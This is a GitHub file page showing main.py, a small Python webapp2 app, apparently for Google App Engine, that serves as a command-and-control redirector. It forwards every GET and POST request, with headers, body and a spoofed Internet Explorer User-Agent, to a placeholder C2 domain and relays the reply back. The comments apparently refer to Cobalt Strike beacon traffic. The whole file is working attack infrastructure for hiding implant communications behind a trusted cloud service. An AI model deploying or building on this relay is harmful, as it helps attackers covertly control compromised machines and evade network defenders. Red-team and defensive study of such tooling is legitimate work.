-
Notifications
You must be signed in to change notification settings - Fork 19
/
Copy pathmain.py
50 lines (38 loc) · 1.48 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import logging
import urllib
import webapp2
import urllib2
# v1.0.1 - updated to support POST request
# change to your IP
redirector = "(insert you C2 domain here)"
class CommandControl(webapp2.RequestHandler):
def get(self, data):
url = 'https://'+redirector+'/'+str(data)
try:
req = urllib2.Request(url)
req.add_header('User-Agent',"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko")
for key, value in self.request.headers.iteritems():
req.add_header(str(key), str(value))
resp = urllib2.urlopen(req)
content = resp.read()
self.response.write(content)
except urllib2.URLError:
"Caught Exception, did nothing"
# handle a POST request
def post(self, data):
url = 'https://'+redirector+'/'+str(data)
try:
req = urllib2.Request(url)
req.add_header('User-Agent',"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko")
for key, value in self.request.headers.iteritems():
req.add_header(str(key), str(value))
# this passes on the data from CB
req.data = self.request.body
resp = urllib2.urlopen(req)
content = resp.read()
self.response.write(content)
except urllib2.URLError:
"Caught Exception, did nothing"
app = webapp2.WSGIApplication([
(r"/(.+)", CommandControl)
], debug=True)